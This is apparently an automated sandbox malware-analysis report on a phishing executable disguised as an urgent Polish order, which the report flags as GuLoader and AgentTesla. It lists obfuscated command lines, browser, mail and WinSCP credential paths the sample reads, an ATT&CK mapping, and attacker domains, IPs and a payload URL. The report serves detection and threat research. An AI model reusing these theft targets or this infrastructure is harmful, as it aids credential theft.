            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x26^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x05^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeCode function: 1_2_00405D1B GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,1_2_00405D1B

            Stealing of Sensitive Information

            barindex
            Yara detected AgentTesla
            Source: Yara matchFile source: 00000089.00000002.18044285630.000000003418B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 5424, type: MEMORYSTR
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
            Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\SessionsJump to behavior
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqliteJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Source: Yara matchFile source: 00000089.00000002.18044285630.000000003418B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 5424, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Yara detected AgentTesla
            Source: Yara matchFile source: 00000089.00000002.18044285630.000000003418B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 5424, type: MEMORYSTR

            Mitre Att&ck Matrix

            Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
            Valid Accounts211
            Windows Management Instrumentation            		1
            DLL Side-Loading            		1
            DLL Side-Loading            		1
            Disable or Modify Tools            		1
            OS Credential Dumping            		2
            File and Directory Discovery            		Remote Services1
            Archive Collected Data            		1
            Exfiltration Over Alternative Protocol            		1
            Ingress Tool Transfer            		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
            System Shutdown/Reboot
            Default Accounts1
            Native API            		Boot or Logon Initialization Scripts1
            Access Token Manipulation            		1
            Deobfuscate/Decode Files or Information            		1
            Credentials in Registry            		117
            System Information Discovery            		Remote Desktop Protocol1
            Data from Local System            		Exfiltration Over Bluetooth11
            Encrypted Channel            		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
            Domain Accounts1
            Command and Scripting Interpreter            		Logon Script (Windows)111
            Process Injection            		1
            Obfuscated Files or Information            		Security Account Manager311
            Security Software Discovery            		SMB/Windows Admin Shares1
            Email Collection            		Automated Exfiltration2
            Non-Application Layer Protocol            		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
            Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)1
            DLL Side-Loading            		NTDS231
            Virtualization/Sandbox Evasion            		Distributed Component Object Model1
            Clipboard Data            		Scheduled Transfer23
            Application Layer Protocol            		SIM Card SwapCarrier Billing Fraud
            Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script11
            Masquerading            		LSA Secrets1
            Application Window Discovery            		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
            Replication Through Removable MediaLaunchdRc.commonRc.common231
            Virtualization/Sandbox Evasion            		Cached Domain Credentials1
            Time Based Evasion            		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
            External Remote ServicesScheduled TaskStartup ItemsStartup Items1
            Access Token Manipulation            		DCSync1
            System Network Configuration Discovery            		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
            Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job111
            Process Injection            		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
            Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)1
            Time Based Evasion            		/etc/passwd and /etc/shadowSystem Network Connections DiscoverySoftware Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 791299 Sample: Pilne zamowienie nr5363582 ... Startdate: 25/01/2023 Architecture: WINDOWS Score: 100 42 ftp.sentientshift.com 2->42 44 sentientshift.com 2->44 46 3 other IPs or domains 2->46 54 Snort IDS alert for network traffic 2->54 56 Multi AV Scanner detection for submitted file 2->56 58 Yara detected GuLoader 2->58 60 5 other signatures 2->60 8 Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe 1 34 2->8         started        signatures3 process4 file5 36 Microsoft.Practice...UnityExtensions.dll, PE32+ 8->36 dropped 38 C:\Users\user\AppData\Local\...\nsExec.dll, PE32 8->38 dropped 40 C:\Users\user\AppData\Local\...\System.dll, PE32 8->40 dropped 62 Obfuscated command line found 8->62 64 Writes to foreign memory regions 8->64 66 Tries to detect Any.run 8->66 12 CasPol.exe 15 22 8->12         started        16 cmd.exe 8->16         started        18 cmd.exe 8->18         started        20 62 other processes 8->20 signatures6 process7 dnsIp8 48 api4.ipify.org 64.185.227.155, 443, 49855 WEBNXUS United States 12->48 50 sentientshift.com 192.185.87.146, 21, 39706, 49856 UNIFIEDLAYER-AS-1US United States 12->50 52 enlluec.tk 103.83.194.19, 443, 49854 NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN United States 12->52 68 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 12->68 70 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 12->70 72 Tries to steal Mail credentials (via file / registry access) 12->72 76 2 other signatures 12->76 22 conhost.exe 12->22         started        74 Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines) 16->74 24 Conhost.exe 16->24         started        26 Conhost.exe 18->26         started        28 Conhost.exe 20->28         started        30 Conhost.exe 20->30         started        32 Conhost.exe 20->32         started        34 59 other processes 20->34 signatures9 process10

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe10%ReversingLabs
            Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe33%VirustotalBrowse

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\nsExec.dll2%ReversingLabs
            C:\Users\user\Pacifisterne\Automatcafeer\Nedrustningspolitikken\Dilemmaers146\Glasgaibleanir\Nodebilledet\Microsoft.Practices.Composite.UnityExtensions.dll0%ReversingLabs

            Unpacked PE Files

            SourceDetectionScannerLabelLinkDownload
            1.0.Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe.400000.0.unpack100%AviraHEUR/AGEN.1223491Download File
            1.2.Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe.400000.0.unpack100%AviraHEUR/AGEN.1223491Download File

            Domains

            SourceDetectionScannerLabelLink
            sentientshift.com0%VirustotalBrowse
            ftp.sentientshift.com0%VirustotalBrowse

            URLs

            SourceDetectionScannerLabelLink
            https://enlluec.tk/0%Avira URL Cloudsafe
            http://sentientshift.com0%Avira URL Cloudsafe
            http://ftp.sentientshift.com0%Avira URL Cloudsafe
            https://enlluec.tk/dkVAJHULLLAJIKvMzyyDm233.pcx0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            api4.ipify.org
            		64.185.227.155
            		truefalse
              		high
              sentientshift.com
              		192.185.87.146
              		truefalseunknown
              enlluec.tk
              		103.83.194.19
              		truefalse
                		unknown
                ftp.sentientshift.com
                		unknown
                		unknowntrueunknown
                api.ipify.org
                		unknown
                		unknownfalse
                  		high

                  Contacted URLs

                  NameMaliciousAntivirus DetectionReputation
                  https://api.ipify.org/false
                    		high
                    https://enlluec.tk/dkVAJHULLLAJIKvMzyyDm233.pcxfalse
                    • Avira URL Cloud: safe
                    		unknown

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    http://ftp.sentientshift.comCasPol.exe, 00000089.00000002.18044285630.00000000341E4000.00000004.00000800.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.apache.org/licenses/LICENSE-2.0Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000003.13041218149.0000000002932000.00000004.00000020.00020000.00000000.sdmp, default.css.1.drfalse
                      		high
                      https://api.ipify.orgCasPol.exe, 00000089.00000002.18044285630.0000000034141000.00000004.00000800.00020000.00000000.sdmpfalse
                        		high
                        http://sentientshift.comCasPol.exe, 00000089.00000002.18044285630.00000000341E4000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://creativecommons.org/licenses/by-sa/4.0/application-x-executable.png.1.drfalse
                          		high
                          http://nsis.sf.net/NSIS_ErrorPilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exefalse
                            		high
                            http://nsis.sf.net/NSIS_ErrorErrorPilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exefalse
                              		high
                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameCasPol.exe, 00000089.00000002.18044285630.0000000034141000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                http://mozilla.org/MPL/2.0/.Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe, 00000001.00000003.13041218149.0000000002932000.00000004.00000020.00020000.00000000.sdmp, default.css.1.drfalse
                                  		high
                                  https://enlluec.tk/CasPol.exe, 00000089.00000002.18026950300.00000000037C8000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000089.00000002.18026950300.000000000378B000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown

                                  World Map of Contacted IPs

                                  • No. of IPs < 25%
                                  • 25% < No. of IPs < 50%
                                  • 50% < No. of IPs < 75%
                                  • 75% < No. of IPs

                                  Public IPs

                                  IPDomainCountryFlagASNASN NameMalicious
                                  103.83.194.19
                                  		enlluec.tkUnited States
                                  		132335NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdINfalse
                                  192.185.87.146
                                  		sentientshift.comUnited States
                                  		46606UNIFIEDLAYER-AS-1USfalse
                                  64.185.227.155
                                  		api4.ipify.orgUnited States
                                  		18450WEBNXUSfalse

                                  General Information

                                  Joe Sandbox Version:36.0.0 Rainbow Opal
                                  Analysis ID:791299
                                  Start date and time:2023-01-25 10:02:02 +01:00
                                  Joe Sandbox Product:CloudBasic
                                  Overall analysis duration:0h 16m 40s
                                  Hypervisor based Inspection enabled:false
                                  Report type:full
                                  Sample file name:Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
                                  Cookbook file name:default.jbs
                                  Analysis system description:Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
                                  Run name:Suspected Instruction Hammering
                                  Number of analysed new started processes analysed:141
                                  Number of new started drivers analysed:0
                                  Number of existing processes analysed:0
                                  Number of existing drivers analysed:0
                                  Number of injected processes analysed:0
                                  Technologies:
                                  • HCA enabled
                                  • EGA enabled
                                  • HDC enabled
                                  • AMSI enabled
                                  Analysis Mode:default
                                  Analysis stop reason:Timeout
                                  Detection:MAL
                                  Classification:mal100.troj.spyw.evad.winEXE@400/11@3/3
                                  EGA Information:
                                  • Successful, ratio: 50%
                                  HDC Information:
                                  • Successful, ratio: 48.8% (good quality ratio 48.1%)
                                  • Quality average: 87.4%
                                  • Quality standard deviation: 21.9%
                                  HCA Information:
                                  • Successful, ratio: 93%
                                  • Number of executed functions: 74
                                  • Number of non-executed functions: 30
                                  Cookbook Comments:
                                  • Found application associated with file extension: .exe
                                  • Sleeps bigger than 100000000ms are automatically reduced to 1000ms

                                  Warnings

                                  • Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
                                  • Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, spclient.wg.spotify.com, wdcpalt.microsoft.com, client.wns.windows.com, login.live.com, wdcp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
                                  • Execution Graph export aborted for target CasPol.exe, PID 5424 because it is empty
                                  • Not all processes where analyzed, report is missing behavior information
                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                  • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                  • Report size getting too big, too many NtReadVirtualMemory calls found.
                                  • Report size getting too big, too many NtWriteVirtualMemory calls found.

                                  Simulations

                                  Behavior and APIs

                                  ⊘No simulations

                                  Joe Sandbox View / Context

                                  IPs

                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                  103.83.194.19inq 0394511 JPG.exeGet hashmaliciousBrowse
                                    recibo de pago 00028384757767868 01172023.exeGet hashmaliciousBrowse
                                      DEME DEKONTU 000284757757575756 01172023.exeGet hashmaliciousBrowse
                                        copia de pago 000284857577688 01162023.exeGet hashmaliciousBrowse
                                          ODEME BILGILENDIRME 000284857577688 01162023.exeGet hashmaliciousBrowse
                                            IMG-20221229-WA0012.jpg.exeGet hashmaliciousBrowse
                                              Delivery Confirmation.exeGet hashmaliciousBrowse
                                                SecuriteInfo.com.W32.GenKryptik.FYXW.tr.26324.25853.exeGet hashmaliciousBrowse
                                                  https://www.smore.com/rk3tfGet hashmaliciousBrowse
                                                    192.185.87.146400000.CasPol.bin.exeGet hashmaliciousBrowse
                                                      64.185.227.155xc17rfFdOM.exeGet hashmaliciousBrowse
                                                      • api.ipify.org/?format=wef
                                                      8Ghi4RAfH5.exeGet hashmaliciousBrowse
                                                      • api.ipify.org/?format=wef
                                                      fb623f4ae4dcaa007cac4365aa3ce13526ae32b94f2d9.exeGet hashmaliciousBrowse
                                                      • api.ipify.org/?format=wef
                                                      file.exeGet hashmaliciousBrowse
                                                      • api.ipify.org/?format=wef
                                                      48PTRR4pVY.exeGet hashmaliciousBrowse
                                                      • api.ipify.org/?format=qwd

                                                      Domains

                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                      api4.ipify.orgPagamento01242023,jpg.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      PI_NBI-2250123(MECH)_pdf.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      DHL Express Shipping DOC.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
                                                      FedEx Express Receipt_AWB#53053232004643.exeGet hashmaliciousBrowse
                                                      • 64.185.227.155
